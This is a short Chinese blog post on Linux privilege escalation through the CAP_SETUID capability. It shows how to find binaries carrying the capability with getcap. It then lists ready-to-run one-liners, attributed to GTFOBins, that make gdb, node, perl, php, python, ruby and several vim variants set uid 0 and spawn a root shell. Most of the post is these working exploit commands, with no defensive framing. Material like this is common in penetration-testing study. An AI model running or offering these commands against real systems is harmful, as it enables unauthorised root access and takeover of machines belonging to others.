Capabilities位提权

752 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路

linux2.2之后,产生了Capabilities用于分隔root权限,以便于用户更好,更安全,更精细的管理机器的功能和权限。

具体的相关与capabilities的使用方面知识可以去参考这篇文章Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)

这里仅讨论对提权有帮助的CAP_SETUID标志

操作

首先需要探查有CAP_SETUID标志的进程

/usr/sbin/getcap -r / 2>/dev/null

这样来找到进程

如果此处展现出类似于

/usr/bin/python2.7 = cap_setuid+ep

的字样,此处就有可能存在提权问题

可能产生Capabilities提权的程序有以下这些

gdb,node,perl,php,python,ruby,rview,rvim,view,vim,vimdiff

可以查看一下有没有你查询到的程序

利用方法如下

# gbd的利用方法
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

#node的利用方法
./node -e 'process.setuid(0); child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

#perl的利用方法
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

#php的利用方法
./php -r "posix_setuid(0); system('/bin/sh');"

#pythond的利用方法
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'

#ruby的利用方法
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

#rview的利用方法
./rview -c ':lua os.execute("reset; exec sh")'

#rvim的利用方法
./rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#view的利用方法
./view -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#vim的利用方法
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

#vimdiff的利用方法
./vimdiff -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

方法参考至GTFOBins

cap命令介绍参考至[Linux Capabilities 简介 - sparkdev - 博客园 (cnblogs.com)](